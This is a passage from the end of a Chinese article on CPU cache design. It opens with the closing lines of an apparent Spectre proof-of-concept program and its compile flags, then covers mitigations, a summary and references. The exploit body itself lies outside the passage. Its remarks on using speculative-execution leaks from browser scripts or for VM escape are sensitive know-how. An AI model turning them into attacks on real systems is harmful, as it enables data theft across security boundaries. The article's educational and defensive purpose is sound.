munmap(secret_memory_address, sizeof(secret_message));
return 0;
}
记得使用编译参数
-std=c++23 -O0。笔者发现吸入臭氧（-O3）似乎不工作。
漏洞的原理基本都在代码里了这里不过多赘述。这种漏洞不仅仅适用于真实的程序，更可以用于虚拟机（比如JVM虚拟机，Cpython虚拟机，JS引擎，qemu），这也是为什么这种漏洞极其危险（想想只利用浏览器的js脚本就可以读取到不该读取的浏览器数据，以及虚拟机逃逸）。
10.3.2 缓解措施
缓解的核心目标通常不是“禁止推测执行”，而是：
让推测路径的微架构副作用变得不可被跨域观测/利用，或让敏感数据不进入可被侧信道放大的结构。
常见缓解大致分三类（按层次）：
编译器/软件层：边界检查加固 + 推测屏障
- 在高风险分支后加入“推测不可越过”的屏障类手段（具体形式与平台/编译器相关）
- 或对索引/指针做掩码化：越界时把访问变成安全地址（牺牲一些性能换安全性）
- 禁止获取精确的时间：JS引擎就是这样干的
间接跳转/预测器相关防护（常用于 Spectre v2 思路）
- 目标是让间接分支更难被训练到可利用状态，或让跨域污染影响尽量被隔离
系统/微架构层：隔离、刷新、分区
- 在特权边界/进程切换等场景，对部分微架构状态做清理或隔离
- 对共享结构做分区，降低跨域泄露面
代价与工程现实：
- 缓解几乎必然带来性能损失：轻则某些分支/调用变慢，重则系统调用/上下文切换成本上升。
- 工程上常见策略是：默认开启发行版推荐的缓解；若追求极致性能，再基于基准测试与风险评估做分级取舍。
11. 总结
从工程动机出发，缓存本质上是在 CPU 计算能力 与 存储器访问延迟 之间搭的一座“中间层桥梁”，而它能生效的根基是 局部性原理（时间局部性 + 空间局部性）。
- 结构与术语层面：缓存以 缓存行（cache line） 为搬运单位，用
Valid/Dirty/Tag(+Index/Offset)等元数据支撑命中判定与写回管理；软件/硬件常用Invalidate/Clean/Flush做显式维护。 - 策略层面：读写分配（Read/Write Allocate vs No-Allocate）、写策略（Write-back/Write-through）决定“什么时候把数据带进来、什么时候把脏数据带出去”；映射（全相联/直接映射/组相联）决定“在哪里找、比较多少次”；替换（Random/FIFO/Clock/LRU/PLRU 等）决定“组满了踢谁”。
- 多核层面：私有缓存带来一致性问题，MESI/MOESI 等协议通过“状态机 + 监听/目录”把“谁有最新数据、谁该失效”自动化；多路/NUMA 进一步引入可扩展性与“本地快、远端慢”的软件调度与内存分配问题。
- 虚拟内存层面：PIPT 简单但受制于地址转换；VIVT 快但容易同名/别名；VIPT 用“虚拟索引 + 物理标记”并行化 TLB 与 Cache 访问，是现代通用 CPU 的常见折中，并可配合页着色/别名位约束等工程手段化解别名。
- 工程实现层面：真实缓存是 SRAM 阵列 + 多端口/仲裁 + 状态机 + MSHR（非阻塞）+ 预取器 +（可能的）切片/Bank 并行体系。
- 软件优化层面：性能往往不是“命中率越高越快”这么简单，关键是 命中的是什么（指针/元数据 vs 真正热数据）、访问模式是否连续、是否触发 伪共享、以及是否能通过循环重排/数据布局/对齐/预取把访问变成“可预测的空间局部性”。
- 安全层面：推测执行与缓存侧信道让“时间差”变成信息泄露通道，安全与性能的取舍同样属于缓存体系的一部分。
12. 引用
12.1 论文与经典文献
[1] Wilkes M. V. Slave Memories and Dynamic Storage Allocation. 1965. DOI: https://doi.org/10.1109/PGEC.1965.264263
[2] Smith A. J. Cache Memories. ACM Computing Surveys, 1982. DOI: https://doi.org/10.1145/356887.356892
[3] Jouppi N. P. Improving Direct-Mapped Cache Performance by the Addition of a Small Fully-Associative Cache and Prefetch Buffers. Proceedings of the 17th Annual International Symposium on Computer Architecture (ISCA), 1990. DOI: https://doi.org/10.1145/325164.325162
[4] Chen T.-F., Baer J.-L. Effective Hardware-Based Data Prefetching for High-Performance Processors. 1995. DOI: https://doi.org/10.1109/12.381947
[5] Michaud P. Best-offset Hardware Prefetching. Proceedings of the 2016 IEEE International Symposium on High Performance Computer Architecture (HPCA), 2016. DOI: https://doi.org/10.1109/HPCA.2016.7446087
12.2 体系结构手册与官方规范
[6] RISC-V International. The RISC-V Instruction Set Manual. https://github.com/riscv/riscv-isa-manual
[7] Intel. Intel® 64 and IA-32 Architectures Software Developer’s Manual (Combined Volumes: 1, 2A–2D, 3A–3D, 4). https://cdrdv2.intel.com/v1/dl/getContent/671200
[8] Arm. AMBA® AXI Coherency Extensions (ACE) Protocol Specification. https://developer.arm.com/documentation/ihi0022/latest
[9] Arm. Arm® Architecture Reference Manual for A-profile Architecture (Armv8/Armv9). https://developer.arm.com/documentation
12.3 操作系统与内核文档
[10] Linux Kernel Documentation. What is NUMA?. https://www.kernel.org/doc/html/v5.0/vm/numa.html
[11] Linux Kernel Documentation. Cache and TLB Flushing. https://www.kernel.org/doc/html/v5.0/core-api/cachetlb.html
12.4 工程/项目与资料页
[12] OpenXiangShan. CoupledL2 Cache. https://github.com/OpenXiangShan/CoupledL2
[13] WikiChip. Intel Skylake (Client) Microarchitecture. https://en.wikichip.org/wiki/intel/microarchitectures/skylake_(client)
[14] WikiChip. AMD Zen Microarchitecture. https://en.wikichip.org/wiki/amd/microarchitectures/zen
[15] Fang Junzhou. blas-playground / gemm. https://github.com/fangjunzhou/blas-playground/tree/gemm
12.5 百科/辅助链接
[16] Wikipedia. Mersenne Twister (MT19937). https://zh.wikipedia.org/wiki/%E6%A2%85%E6%A3%AE%E6%97%8B%E8%BD%AC%E7%AE%97%E6%B3%95
[17] Wikipedia. Paging（分页机制）. https://zh.wikipedia.org/wiki/%E5%88%86%E9%A0%81
[18] Wikipedia. Memory Barrier（内存屏障）. https://zh.wikipedia.org/zh-hans/%E5%86%85%E5%AD%98%E5%B1%8F%E9%9A%9C
[19] Wikipedia. Spectre（幽灵漏洞）. https://zh.wikipedia.org/wiki/%E5%B9%BD%E7%81%B5%E6%BC%8F%E6%B4%9E